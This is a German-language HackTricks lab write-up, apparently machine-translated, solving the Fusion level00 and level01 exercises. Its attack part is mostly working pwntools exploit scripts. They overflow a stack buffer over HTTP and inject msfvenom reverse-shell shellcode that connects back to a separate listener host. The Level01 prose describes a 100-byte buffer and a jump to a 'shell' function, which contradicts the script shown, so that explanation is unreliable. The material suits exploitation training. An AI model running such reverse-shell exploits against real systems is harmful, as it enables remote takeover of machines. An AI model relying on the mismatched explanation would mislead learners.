6.2 KiB
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Level00
http://exploit-exercises.lains.space/fusion/level00/
- Ermitteln Sie den Offset, um EIP zu ändern.
- Geben Sie die Adresse des Shellcodes in EIP ein.
from pwn import *
r = remote("192.168.85.181", 20000)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.recvline()
r.send(buf)
r.interactive()
Level01
Beschreibung
Level01 ist ein einfacher Exploit, der auf einer Schwachstelle in der fusion
-Anwendung basiert. Diese Schwachstelle ermöglicht es uns, eine Pufferüberlauf-Attacke durchzuführen und die Kontrolle über das Programm zu übernehmen.
Exploit
Der Exploit besteht aus zwei Schritten:
- Erzeugen einer speziell formatierten Eingabe, die den Pufferüberlauf auslöst.
- Ausnutzen des Pufferüberlaufs, um die Kontrolle über das Programm zu übernehmen.
Schritt 1: Erzeugen der speziell formatierten Eingabe
Um den Pufferüberlauf auszulösen, müssen wir eine Eingabe erzeugen, die länger ist als der Puffer, in den sie geschrieben wird. In diesem Fall ist der Puffer 100 Bytes lang.
Wir können dies erreichen, indem wir eine Zeichenkette mit einer Länge von 104 Bytes erstellen. Die ersten 100 Bytes werden mit beliebigen Zeichen gefüllt, und die letzten 4 Bytes werden mit der Adresse der Funktion shell
überschrieben.
Schritt 2: Ausnutzen des Pufferüberlaufs
Nachdem wir die speziell formatierte Eingabe erstellt haben, müssen wir sie an die fusion
-Anwendung senden. Wenn die Anwendung versucht, die Eingabe in den Puffer zu schreiben, wird der Pufferüberlauf ausgelöst und die Kontrolle über das Programm wird an die Adresse der Funktion shell
übergeben.
Dies ermöglicht es uns, beliebigen Code auszuführen und die Kontrolle über das System zu übernehmen.
Gegenmaßnahmen
Um diesen Exploit zu verhindern, sollten Entwickler sicherstellen, dass Eingaben ordnungsgemäß überprüft und auf eine sichere Länge begrenzt werden. Darüber hinaus sollten Sicherheitsmechanismen wie Adressraumlayoutzufälligkeit (ASLR) und Stack-Schutz aktiviert sein, um die Ausnutzung von Pufferüberläufen zu erschweren.
from pwn import *
r = remote("192.168.85.181", 20001)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0x08049f4f) # Adress of: JMP esp
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.send(buf)
r.interactive()
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.